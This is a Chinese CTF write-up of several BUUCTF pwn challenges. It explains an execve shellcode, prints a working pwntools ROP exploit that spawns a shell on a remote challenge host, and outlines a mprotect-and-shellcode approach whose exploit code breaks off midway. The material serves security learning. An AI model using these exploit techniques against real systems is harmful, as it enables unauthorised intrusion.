BUUCTF_WriteUp 2021-08-23

2021-08-23


做了11道题
整体分析:大多是基础题

shell_asm

题目描述

other_shellcode

题目分析

看main函数、整体程序逻辑↓
![[Pasted image 20210823162439.png]]![[Pasted image 20210823162447.png]]

直接nc连上去,就getShell了。
我猜:这题主要是想告诉我们x86下的shellcode汇编是怎样的

sys_execve的系统调用方式:
![[Pasted image 20210823163019.png]]

看一下汇编代码:
![[Pasted image 20210823163223.png]]

主要逻辑

  1. 将file参数赋值/bin/sh(主要是这个,相当于用root执行了命令)
  2. argv、env都是0

int 0x80、上面的就相当于调用了sys_execve("/bin/sh",0,0)

x86与x64的区别

系统 汇编
x86 int 0x80
x64 syscall

这是libc.so(64位)调用execve在ida的反汇编
![[Pasted image 20210823163717.png]]

参考链接:
http://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/

BabyROP

题目描述

[HarekazeCTF2019]baby_rop

解题思路

0x01 整体思路
  1. 同jarvisoj_level2
  2. 找binsh字符串的地址,x64系统下,调用函数的第一个参数需要修改rdi,所以用ROPgadget找pop rdi的代码
  3. 找到callee调用system的地址
0x02 额外前置知识:

利用ROPgadget查找pop_rdi
ROPgadget --binary 文件 --only 'pop|ret' | grep 'rdi'
说明:grep用作筛选寄存器为rdi的gadget

Linux搜索全局文件名
$ find / -name flag (找文件名为flag的)
发现getshell后直接cat flag没有这个文件,所以用了命令查找到flag在其他文件夹

0x03 exp
#coding=utf-8
from pwn import *

context.log_level="debug"


isLocal=0


if  isLocal:
    p=process("/root/babyrop")#

    pause()
else :
    p=remote("node4.buuoj.cn",25405)

binsh_addr=0x0000000000601048
system_callee_addr=0x00000000004005E3
pop_rdi_binsh_addr=0x0000000000400683 #: pop rdi ; ret

#64 bit need rdi
p.sendlineafter(b"name?",b"a"*0x10+p64(0)+p64(pop_rdi_binsh_addr)+p64(binsh_addr)+p64(system_callee_addr))
p.interactive()

not_the_same_3dsctf_2016

0x01 解题思路

看了Exp研究了之后,大概的思路是这样的:

  1. 基础是栈溢出实现ROP,返回到任意地址
  2. 但是程序没有后门地址,也没有GOT可改写利用的代码,同时NX保护也是开启的(不可任意执行shellcode)怎么办呢??
    1. 程序是静态链接编译的文件,栈溢出后,可调用系统的mprotect函数,修改got表权限
    2. mprotect修改内存空间的权限,RWX,写入shellcode
      1. 因为mprotect需要3个参数,用ROPgadget找3个参数的gadget
      2. 第一个参数为修改内存空间的开始地址(**GLOBAL_OFFSET_TABLE**开始地址)
      3. 第二个参数要赋予权限的空间长度(开始地址~开始地址+长度)
      4. 第三个参数是赋予的权限(Linux中7是指可执行的权限)
    3. 开了任意执行的空间,写入shellcode,利用系统的read
      1. 第一个参数fd文件号(0为输入流、1为输出流)=>(exp代表先压栈buf内容,再读入输入内容)
      2. 第二参数buf,写入的数据
      3. 第三个参数len,写入的长度

附上mprotect、read系统调用表
![[Pasted image 20210823164752.png]]![[Pasted image 20210823165307.png]]

参考链接:http://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/

0x02 exp

from pwn import *;
context.log_level="debug"
context.arch="i386"
context.os="linux"

isLocal=1


if  isLocal:
    p=process("/root/not_the_same_3dsctf_2016")#

    pause()
else :
    p=remote("node4.buuoj.cn"
  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值